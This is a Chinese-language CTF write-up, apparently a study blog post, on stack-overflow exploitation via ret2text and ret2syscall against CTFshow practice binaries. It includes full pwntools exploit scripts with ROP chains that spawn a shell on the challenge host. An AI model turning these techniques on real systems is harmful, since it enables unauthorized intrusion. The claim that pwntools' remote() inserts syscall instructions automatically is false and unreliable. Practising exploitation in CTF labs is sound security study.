ret2syscall

PWN中栈溢出的部分简单题型

Ret2text

这类题型里:

1、存在能够覆盖返回地址的栈溢出

2、程序代码中直接存在类似于**system(“bin/sh”)**能够直接获取程序控制权的代码。

1
这段代码向系统申请一个sh的用户shell,可以获得当前交互主机的控制权bash

造成栈溢出的最常见的情形:

1、gets(),由于gets()函数不限制读入的长度,所以一般看到程序中出现了gets()读取用户输入的情况,大概率是存在栈溢出的。

2、限制长度读入函数,规定读入的长度大于变量与rbp/ebp之间的距离,例如下图:

Clip_2024-12-04_16-53-33

虽然read(0,buf,0x32uLL)限制了向buf内读入的长度为0x32,但是buf与rbp之间的距离只有0xA,就存在0x32-0xA=0x28的长度是可以溢出的。

例题1:

CTFshow - pwn38

64位ret2text

pwn基本解题流程:

1、checksec检查程序基本信息:

2、为程序添加可执行权:

chmod +x pwn

3、IDA反编译分析程序结构。

4、gdb动态分析、调试。

5、编写攻击脚本exp。

checksec查看程序基本信息:

Clip_2024-12-04_17-38-43

IDA反编译分析:

主函数:

存在0x32-0xA = 0x28长度的栈溢出。

Clip_2024-12-04_17-02-34

后门函数:

存在system(“/bin/sh”)

image-20240514131905819

Clip_2024-12-04_17-10-38

gdb调试:

在这道题中:

0x7fffffffdc00是buf的起始地址,大小为0xA,rbp是buf+0xA 也就是图中的0x7fffffffdc10,而紧跟着rbp后面的就是函数的返回地址,ret address,我们只需要通过栈溢出将ret address改写成我们想要让程序返回的地方即可达到攻击的目的。

Clip_2024-12-04_17-15-39

编写攻击脚本exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"

#io = process("./pwn")
io = remote("pwn.challenge.ctf.show",28308)#与远程建立连接。

io.recv()#接收程序的输出

ret = 0x400287 #ROPgadget --binary pwn --only "ret",用于寻找程序中的ret指令的地址。

payload = b'A' *(0xA+8) +p64(ret)+ p64(0x400657)
#用(0xA+8)长度的垃圾数据'A'来填充距离,再接上p64(ret)进行堆栈平衡,最后接上后门函数的地址。
io.sendline(payload)#发送构造的payload
io.interactive()#进入交互模式

例题2:

CTFshow——pwn37

32位ret2text

与64位原理一样,要修改成32位的格式:

Clip_2024-12-04_17-35-34

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"

io = process("./pwn")
#io = remote("pwn.challenge.ctf.show",28308)#与远程建立连接。

io.recv()#接收程序的输出

ret = 0x08048356 #ROPgadget --binary pwn --only "ret",用于寻找程序中的ret指令的地址。

payload = b'A' *(0x12+4) + p32(ret) + p32(0x08048521)
#用(0x12+4)长度的垃圾数据'A'来填充距离,再接上p32(ret)进行堆栈平衡,最后接上后门函数的地址。
io.sendline(payload)#发送构造的payload
io.interactive()#进入交互模式

不同点在于p32()以及ebp的长度由8变为4。

ret2syscall

x32

ctfshow pwn入门 pwn71

栈溢出

image-20240517134955943

静态编译,可以通过ret2syscall

我们可以利用程序中的 gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shel

1
execve("/bin/sh",NULL,NULL)
1
2
3
4
5
6
其中,该程序是 32 位,所以我们需要使得
系统调用号,pop eax 0xb ret | 即 eax 应该为32位execve的进程号0xb
第一个参数,pop ebx /bin/sh ret | 即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,pop ecx 0 ret | 即 ecx 应该为 0
第三个参数,pop edx 0 ret | 即 edx 应该为 0
最后, int 0x80 | x86 通过 int 0x80 指令进行系统调用

我们需要pop eax ret,pop ebx ret ,pop ecx ret ,pop edx ret

/bin/sh的地址:

Clip_2025-01-20_14-19-55

image-20240517135045415

这个可以利用

image-20240517135156006

还有int 0x80

image-20240517135849625

在ida中的偏移有问题,要在gdb中动调算:

Clip_2025-01-20_14-30-35

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io=remote('pwn.challenge.ctf.show',28113)
elf = ELF("./pwn")

offset = 0x6C + 4
pop_eax = 0x080bb196 # pop eax ; ret
pop_edx_ecx_ebx = 0x0806eb90 # pop edx ; pop ecx ; pop ebx ; ret
bin_sh = next(elf.search(b"/bin/sh"))
int_80h = 0x08049421 # int 0x80

#payload = flat(['A'*offset,pop_eax,0xb,pop_edx_ecx_ebx,0,0,bin_sh,int_80h])
payload = b'A'*offset + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) +p32(int_80h)

io.sendline(payload)
io.interactive()

x32-2

ctfshow Pwn入门 pwn72

32位ret2syscall,没有/bin/sh,利用read读入

计算偏移,这里ida的偏移又是错的,应该是0x28

Clip_2025-01-20_14-40-18

和之前一样,不同的地方是这次没有了/bin/sh

Clip_2025-01-20_14-41-01

Clip_2025-01-20_14-41-18

在ida里面找到了read函数,可以利用read读入/bin/sh到bss段的一个地址,之后再ret2syscall时用这个地址即可

1
2
3
4
5
6
7
8
9
10
read():
ssize_t read(int fd,const void *buf,size_t nbytes);
//fd 为要读取的文件的描述符 0
//buf 为要读取的数据的缓冲区地址
//nbytes 为要读取的数据的字节数

//read() 函数会从 fd 文件中读取 nbytes 个字节并保存到缓冲区 buf,
//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。

调用号:sys_read 的32位调用号 为 3 | 64位进程号为0

那么我们可以构造调用read的rop

1
2
3
4
5
pop eax 0x3 ret #32位下read系统调用号
pop ebx 0 ret #要读取的内容描述,0
pop ecx adress ret #adress是需要读入的地址
pop edx length ret #读入的长度
int 0x80 #执行系统调用

这题写入地址就随便选一个bss段上就行0x080EB000,读入长度,”/bin/sh\x00”,不少于这个就行

之后再进行execve(“/bin/sh”,NULL,NULL)的调用

1
2
3
4
5
6
其中,该程序是 32 位,所以我们需要使得
系统调用号,pop eax 0xb ret | 即 eax 应该为32位execve的进程号0xb
第一个参数,pop ebx /bin/sh ret | 即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,pop ecx 0 ret | 即 ecx 应该为 0
第三个参数,pop edx 0 ret | 即 edx 应该为 0
最后, int 0x80 | x86 通过 int 0x80 指令进行系统调用

这题不知道为什么ROPgadget找到的int 80h用不了,用的是ida这里的

ROPgadget找到的这个用不了

Clip_2025-01-20_14-44-12

ida里面的这个可以用

Clip_2025-01-20_14-44-56

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io=remote('pwn.challenge.ctf.show',28298)
elf = ELF("./pwn")

offset = 0x28+4
pop_eax = 0x080bb2c6 # pop eax ; ret
pop_edx_ecx_ebx = 0x0806ecb0 # pop edx ; pop ecx ; pop ebx ; ret
#bin_sh = next(elf.search(b"/bin/sh"))
int_80h = 0x0806F350 # int 0x80
bss = 0x080EB000
#payload = flat(['A'*offset,pop_eax,0x3,pop_edx_ecx_ebx,0x10,bss,0,pop_eax,pop_edx_ecx_ebx,0,0,bss,int_80h])
payload = b'A' *offset
payload += p32(pop_eax) + p32(0x3)
payload += p32(pop_edx_ecx_ebx) + p32(0x10) + p32(bss) + p32(0)
payload += p32(int_80h)

payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
payload += p32(int_80h)

io.recv()
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()

x64

ctfshow pwn入门 pwn78

没有canary没有pie

image-20240524102221261

溢出函数

image-20240524102839743

和32位类似,只是放参数的寄存器和调用号什么的变了,64位传参顺序是rdi > rsi > rdx > rcx > r8 > r9 > 栈上

这题先调用read读入/bin/sh到bss段,再调用system(/bin/sh)

1
2
3
4
5
6
调用read:
pop rax 0 ret #将要调用的函数(read)的系统调用号存入rax(特殊,系统调用号就是放在rax里的)中,这里是0
pop rdi 0 ret #read的第一个参数,表示标准读入
pop rsi bss_addr ret #第二个参数,存放读入的位置,这里是bss上的一个地址
pop rdx 0x10 ret #第三个参数,表示读入的长度,这里用0x10
syscall
1
2
3
4
5
6
调用execve("/bin/sh",NULL,NULL):
pop rax 0x3b ret #execve的系统调用号,存入rax
pop rdi bss_addr ret #将第一个参数/bin/sh,这里存在bss上,放入rdi中
pop rsi 0 ret #第二个参数 0也就是NULL
pop rdx 0 ret #第三个参数 0也就是NULL
syscall

在实际利用中可以省略syscall,因为使用了pwntools库的remote函数时,它会自动处理系统调用,因此你不需要手动添加syscall指令。当你发送payload时,pwntools会在内部自动构造ROP链,并执行syscall指令以触发系统调用。因此,即使没有明确写出syscall指令,readexecve系统调用仍然会被正确地触发。但是这题不知道为什么还是要加syscall 。

syscall ret地址:

Clip_2025-01-20_15-18-11

首先利用ROPgadget找到能利用的rop指令

1
ROPgadget --binary pwn --only "pop|ret"

首先是 pop rax ret

image-20240524112906565

然后是pop rdi ret

image-20240524112513371

再是rsi和rdx,可以找到两个一起的

image-20240524113021888

还需要一个单独的ret,需要在read调用完之后ret再调用下一个函数execve

image-20240524113426346

再找一个bss段的地址用于存放/bin/sh

image-20240524113602768

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level='debug'
#io = process("./pwn")
io=remote('pwn.challenge.ctf.show',28311)
pop_rax=0x46b9f8
pop_rdi=0x4016c3
pop_rdx_rsi=0x4377f9
bss=0x6c2000
syscall=0x45BAC5 #syscall

payload=b'A'*(0x50+8)
payload+=p64(pop_rax)+p64(0x0)
payload+=p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload+=p64(pop_rdi)+p64(0)
payload+=p64(syscall)

payload+=p64(pop_rax)+p64(0x3b)
payload+=p64(pop_rdx_rsi)+p64(0)+p64(0)
payload+=p64(pop_rdi)+p64(bss)
payload+=p64(syscall)
#execve(“/bin/sh”,0,0)

io.sendline(payload)`
io.sendline("/bin/sh\x00")
io.interactive()